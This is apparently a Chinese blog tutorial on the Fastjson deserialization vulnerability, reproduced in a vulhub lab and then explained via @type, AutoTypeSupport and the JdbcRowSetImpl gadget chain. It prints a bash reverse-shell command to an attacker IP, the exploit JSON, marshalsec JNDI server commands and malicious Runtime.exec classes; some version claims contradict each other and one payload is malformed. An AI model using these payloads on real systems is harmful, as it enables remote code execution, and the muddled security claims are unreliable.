老生常谈的fastjson安全问题,从实战深入反序列化漏洞原理

写作背景

反序列化是java安全er避不开的技能点,也是非常难的一个点。我入行安全满打满算也就一年,之前一直也想弄明白,但是总是被各种问题卡住,这次我下决心势必要啃掉反序列化这块硬骨头。

这里我就先从我实战中遇到最多也是自己最熟悉的fastjson开始,这个漏洞老生长谈了,不过只要遇到就真是一个很好的点了。这里我先从效果开始再转战到原理,因为如果不懂代码,上来就分析代码就会让人望而却步。直接从漏洞利用开始,溯源到原理反倒是我这种非安全研究er的最好学习方式。

fastjson1.2.47实战效果

环境搭建(vulhub中的环境)

这个漏洞环境在vulhub的docker环境中,网上vulhub和docker的下载安装教程很多,就不过多赘述了。

这里我的机器只有一台kali:攻击机和漏洞环境均在kali上,起了不同的服务。

漏洞利用

poc

搭建完毕环境后,直接打poc:{"zeo":{"@type":"java.net.Inet4Address","val":"umzivu.dnslog.cn"}},成功回显


反弹shell

  1. 漏洞利用:利用jndi_tool.jar工具,攻击机上反弹

java -cp jndi_tool.jar jndi.EvilRMIServer 1099 8888 "bash -i >&/dev/tcp/192.168.18.128/12345 0>&1"


输入要打的ip:192.168.18.128


  1. 攻击机监听12345

nc -lvvp 12345


  1. burp打exp
 {
            "a": {
                "@type": "java.lang.Class",
                "val": "com.sun.rowset.JdbcRowSetImpl"
    				     },
            "b": {
                "@type": "com.sun.rowset.JdbcRowSetImpl",
                "dataSourceName": "rmi://192.168.18.128:1099/Object",
                "autoCommit": true
                 }
 }

成功反弹shell

漏洞原理

从刚才我们的操作可以看到,我们在攻击机上监听了12345端口,随后利用jndi工具生成了一个payload,在burp上我们将exp发送至服务端,即可成功获取shell。攻击操作很简单,但内部其实是有一个调用的过程,具体攻击流程可以用下图分析:

①攻击者控制的RMI服务器(192.168.18.128)启动并监听在1099端口上。

②攻击者构造恶意序列化数据,其中包含了对目标服务器的RMI连接地址(例如,rmi://目标服务器IP地址:1099/Object),并将恶意序列化数据发送给目标服务器。

③目标服务器接收到恶意序列化数据,并尝试进行反序列化。在反序列化过程中,由于存在反序列化漏洞,恶意RMI连接将被建立,连接到攻击者控制的RMI服务器(192.168.18.128)

④攻击者控制的RMI服务器收到恶意连接后,执行恶意代码(例如,建立一个反向Shell连接)。攻击者可以通过反向Shell与目标服务器进行交互,执行任意命令或进行其他攻击活动。

fastjson序列化与反序列化

知道了这样做可以反弹shell,那么为什么可以进行漏洞利用呢。要深入剖析,从fastjson代码逐步分析,方而看清漏洞本质。

序列化

要反序列化,首先就得先序列化,这里我们用两种方式进行序列化,一种Java io原生序列化,一种fastjson序列化。

构造一个普通类Common

//构造一个普通类Common
public class Common {
    //私有属性data
    private String data;

    //settet getter方法
    public String getData() {
        return data;
    }

    public void setData(String data) {
        this.data = data;
    }
}

Common类序列化法一:java原生序列化

  • IO

文件IO流(FileInput/OutputStream) 对 文件 进行输入和输出

对象IO流(ObjectInput/OutputStream) 对 对象 进行输入和输出

首先用new FileOutputStream创建一个文件输出流,再用new ObjectOutputStream创建一个对象输出流(因为oos是对象输出流类型),这时我们就可以在java程序中向外(文件)输出流(内容)了,画成图:


  • 要求Common类必须实现 Serializable接口
import java.io.Serializable;

//构造一个普通类Common
//Common类必须实现Serializable接口
public class Common implements Serializable {
    //私有属性data
    private String data;

    //settet getter方法
    public String getData() {
        return data;
    }

    public void setData(String data) {
        this.data = data;
    }
}

  • java原生序列化方式
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutput;
import java.io.ObjectOutputStream;

public class JavaSerialization {
    public static void serialize(Object obj) throws IOException{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
        System.out.println("对象已经成功序列化");
    }

    public static void main(String[] args) throws Exception{
        //创建Common类实例
        Common obj=new Common();
        obj.setData("我是Common类");
        serialize(obj);
    }
}

  • 序列化后的结果


  • 运行后生成了ser.bin文件,文本打开后如下

Common类序列化法二:利用fastjson

  • fastjson在序列化时会将对象的所有属性进行序列化,所以不需要显式地实现Serializable接口
  • fastjson序列化主要用到的方法为JSON.toJSONString(),通过该方法将对象序列化为JSON字符串
import com.alibaba.fastjson.JSON;

public class FastjsonSerialization {
    public static void main(String[] args) {
        //创建Common类实例
        Common obj=new Common();
        obj.setData("我是Common类");

        //将Common类序列化为JSON字符串
        String Json= JSON.toJSONString(obj);
        System.out.println("序列化后的JSON字符串为:"+Json);
    }
}

  • 序列化后的结果:

原生方式序列化 vs fastjson方式序列化

特性

Java原生方式序列化

FastJSON方式序列化

依赖性

Java标准库,无需额外依赖

FastJSON库,需要导入FastJSON的相关依赖

序列化效率

一般较慢

通常较快

序列化结果大小

较大

较小

自定义序列化支持

需要实现Serializable接口和自定义序列化方法

不需要实现接口,支持直接序列化普通Java对象

支持的数据类型

支持序列化Java内置类型和实现了Serializable接口的自定义类

支持序列化Java内置类型和大部分自定义类,无需实现接口

序列化控制

可以通过自定义序列化方法对序列化过程进行精细控制

提供注解和配置选项来控制序列化行为

扩展性

需要自行实现自定义序列化和反序列化逻辑

提供了灵活的扩展机制,可以注册自定义序列化器和反序列化器

反序列化

这里我们主要研究fastjson的反序列化,原生的反序列化就先不花篇幅陈述了。

反序列化代码

  • fastjson反序列化主要用到的方法为JSON.parseObjec(),这个方法接受一个JSON字符串和目标类的类型作为参数,将JSON字符串转换为对应的Java对象。
import com.alibaba.fastjson.JSON;

public class FastjsonDeserialization {
    public static void main(String[] args) {
        //将刚刚的Common类序列化后的数据进行反序列化
        String json = "{\"data\":\"我是Common类\"}";

        //反序列化
        Common obj=JSON.parseObject(json,Common.class);

        //将反序列化后的数据打印出来
        System.out.println("反序列化后的数据为:"+obj.getData());
    }
}

  • 执行结果

简单总结一下fastjson三种重点方法:JSON.toJSONString、 JSON.parse、JSON.parseObject

方法

功能

用途

返回值类型

示例

JSON.toJSONString

对象转为 JSON 字符串

将 Java 对象转换为 JSON 字符串表示形式

String

String jsonString = JSON.toJSONString(obj);

JSON.parse

JSON 字符串解析

将 JSON 字符串解析为对应的 Java 对象

Object

Object obj = JSON.parse(jsonString);

JSON.parseObject

JSON 字符串解析

将 JSON 字符串解析为指定类型的 Java 对象

指定类型

Person person = JSON.parseObject(jsonString, Person.class);

深入代码看rce根源

从我个人理解的角度看fastjson漏洞,感觉漏洞主要原因是这几个:@type、AutoTypeSupport以及利用链。

@type

@type 是一个特殊的字段,用于指定反序列化时应该实例化的具体类。攻击者可以在JSON字符串中使用 @type 字段,并指定一个恶意的类名,以触发不受信任的类的实例化和执行恶意操作。

AutoTypeSupport

AutoTypeSupport 特性默认是开启的。这个特性允许在反序列化过程中自动识别并实例化特定类型的对象。然而,这也为恶意用户提供了一个机会,可以利用 @type 字段和自动类型识别功能来执行恶意操作

利用链

恶意用户通过构造一系列嵌套的对象和方法调用,利用fastjson的自动类型识别和调用链,最终达到命令执行的目的

@type

  • 有一个恶意类BadClassPerson
import java.io.IOException;

public class BadClassPerson {
    private String name;
    private int age;
    private String sex;

    public BadClassPerson() {
        System.out.println("构造方法");
    }

    public String getName() {
        System.out.println("getName");
        return name;
    }

    public void setName(String name) {
        System.out.println("setName");
        this.name = name;
    }

    public int getAge() {
        System.out.println("getAge");
        return age;
    }

    public void setAge(int age) {
        System.out.println("setAge");
        this.age = age;
    }
    //在setSex中有一段弹计算器的命令执行代码
    public void setSex(String sex) throws IOException {
        System.out.println("setSex");
        Runtime.getRuntime().exec("calc");
    }
}
  • 反序列化这个恶意类即可调用其Setter方法,从而造成命令执行
import com.alibaba.fastjson.JSON;

public class Deserialization {
    public static void main(String[] args) {
        String jsonString ="{\"@type\":\"BadClassPerson\",\"age\":80,\"name\":\"lili\",\"sex\":\"man\"}";
        System.out.println(JSON.parseObject(jsonString));
    }
}
  • 然而我在实际实验过程中发现弹不出来计算器,更换各种低版本的依赖包都不能执行命令。几经搜索得知现在Fastjson在默认情况下不会执行命令,而是将输入的JSON字符串解析为对应的Java对象。
  • 在较早的版本中,默认情况下Fastjson允许执行特定的Java类的方法,这可能导致命令执行。现在的Fastjson已经进行了更新和改进,限制了对特定类型的自动执行。从Fastjson版本1.2.24开始,默认禁用了对 @type 字段的自动类型转换,以减少安全风险。这意味着不再支持通过 @type 字段来执行任意命令。

AutoTypeSupport

AutoTypeSupport是Fastjson中的一个配置选项,用于控制自动类型转换的支持。默认情况下,Fastjson会禁用自动类型转换功能,以防止潜在的安全风险。通过启用AutoTypeSupport,可以允许@type字段的解析和自动类型转换。

正是因为传入的@type类有恶意风险,为了减轻Fastjson反序列化漏洞的风险,可以通过将存在安全风险的Class全路径的Hash值存储在黑名单中的方式进行校验。Fastjson使用了Hash算法,将一系列已知存在安全风险的Class的全路径转换为Hash值,并将这些Hash值存储在黑名单中。在反序列化过程中,Fastjson会检查 @type 字段指定的Class的Hash值是否存在于黑名单中。如果存在于黑名单中,Fastjson将拒绝实例化该Class,并抛出异常,从而防止恶意攻击者执行未授权等高危操作。


  • 这里用一段利用 FastJSON 的 AutoTypeSupport 功能进行攻击的代码作为例子:攻击者可以构造恶意的 JSON 字符串,其中的 @type 字段指向任意可加载的类,并利用 AutoTypeSupport 功能绕过 FastJSON 的类型检查,从而实例化和执行恶意代码。
import com.alibaba.fastjson.JSONObject;

public class Main {
    public static void main(String[] args) {
        String jsonStr = "{\"x\":{\"@type\":\"java.net.InetSocketAddress\"{\"address\":,\"val\":\"nv03d9.dnslog.cn\"}}}";
        Object json1 = JSONObject.parse(jsonStr);
        System.out.println(json1);
    }
}

执行结果

利用链

回到我们最初实战用到的exp,这段代码就涉及到了JdbcRowSetImpl利用链。下面我们分析下这段poc:

 {
            "a": {
                "@type": "java.lang.Class",
                "val": "com.sun.rowset.JdbcRowSetImpl"
    				     },
            "b": {
                "@type": "com.sun.rowset.JdbcRowSetImpl",
                "dataSourceName": "rmi://ip:port/Object",
                "autoCommit": true
                 }
 }

"a" 属性指定了一个java.lang.Class对象,其值为"com.sun.rowset.JdbcRowSetImpl"。这意味着在反序列化过程中,会尝试将值反序列化为JdbcRowSetImpl类。

"b" 属性指定了一个com.sun.rowset.JdbcRowSetImpl对象,"@type" 属性指定了要反序列化的对象类型JdbcRowSetImpl。"dataSourceName" 属性指定了一个RMI(远程方法调用)URL,指向rmi服务器上的Object类。"autoCommit" 属性设置为true,是为了在反序列化后执行某些操作。


1.2.24 vs 1.2.47 JdbcRowSetImpl

  • payload对比

1.2.24

1.2.47

{

"@type":"com.sun.rowset.JdbcRowSetImpl",

"dataSourceName":"rmi://ip:port/Exploit",

"autoCommit":true

}

{

"a":{

"@type":"java.lang.Class",

"val":"com.sun.rowset.JdbcRowSetImpl"

},

"b":{

"@type":"com.sun.rowset.JdbcRowSetImpl",

"dataSourceName":"rmi://ip:port/Test",

"autoCommit":true

}

}

法一:利用marshalsec开启rmi服务

  1. 构造恶意类Exploit,并编译
import java.io.IOException;

public class Exploit {

    public Exploit() throws IOException {
        //直接在构造方法中运行计算器
        Runtime.getRuntime().exec("open -a calculator");
    }
}

2. 将其放在一个能访问到的服务器上

  1. 在做JdbcRowSetImpl利用链代码分析的时候,需要用到JNDI+LDAP或者JNDI+RMI。这里可以用marshalsec来作rmi服务器,端口为8888。
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://ip:1000/#Exploit" 8888
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://ip:1000/#Exploit" 8888
  1. 客户端测试
public class ClientDemo {
    public static void main(String[] args) {
        String payload="{\n" +
                "        \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" +
                "        \"dataSourceName\":\"ldap://ip:8888/Exploit\",\n" +
                "        \"autoCommit\":true\n" +
                "}";
        Object obj = JSON.parseObject(payload);
        System.out.println(obj);
    }
}

成功获取恶意类


ldap也建立连接

  1. 但是我这里始终没有弹出计算器

法二:利用RMI绑定RMI服务

这里借用其他师傅的代码 Java 的 RMI(远程方法调用)机制来创建和绑定 RMI 服务,最后命令执行复现也失败了

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class JNDIServer {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference reference = new Reference("Exloit",
                "badClassName","http://ip:8000/");
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("Exploit",referenceWrapper);
    }
}

public class badClassName {
    static{
        try{
            Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
        }catch(Exception e){
            ;
        }
    }
}

import com.alibaba.fastjson.JSON;

public class JNDIClient {
    public static void main(String[] argv){
        String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://ip:1099/badClassName\", \"autoCommit\":true}";
        JSON.parse(payload);
    }
}

结果显示

对代码分析的思考

这里用ClientDemo的方式进行测试实际和burp打exp效果是一样的,但是我在复现时就是弹不了计算器,找了很多教程都没能复现出来,猜测可能是fastjson做了什么限制。

@type、AutoTypeSupport、利用链小结

@type

AutoTypeSupport

利用链

功能

通过指定@type字段指定目标类

自动检测和支持特定类的自动类型转换

利用链是一系列的类和方法调用,构建一个恶意操作序列

漏洞成因

默认情况下Fastjson启用自动类型转换

Fastjson库通过AutoTypeSupport支持自动类型转换

利用链中的方法或类可能存在漏洞,导致安全问题

安全措施

默认情况下禁用@type字段自动转换

从Fastjson版本1.2.24开始,默认禁用AutoTypeSupport

需要修复潜在漏洞的方法或类

安全影响

可能导致恶意类的实例化和方法调用

可能导致恶意类的实例化和方法调用

可能导致任意代码执行、命令执行或信息泄漏

修复措施

限制或禁用@type字段的自动转换

禁用AutoTypeSupport或限制自动类型转换的范围

修复利用链中的潜在漏洞

写作总结

本文从最开始的fastjson实战实验开始,随后深入了解fastjson反序列化过程以及导致漏洞产生的三个重要原因,均是服务器对传入的json代码过滤不严导致可以利用rmi或jndi方式进行获取恶意利用类进而造成远程命令执行。实际作者在复现过程中也出现弹不出计算器的情况,猜测可能是因为现有给出的代码已经对fastjson漏洞做了修复。也欢迎各位师傅帮忙解惑。

参考链接:

Fastjson 1.2.22-1.2.24反序列化漏洞分析 - 先知社区

  • 10
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值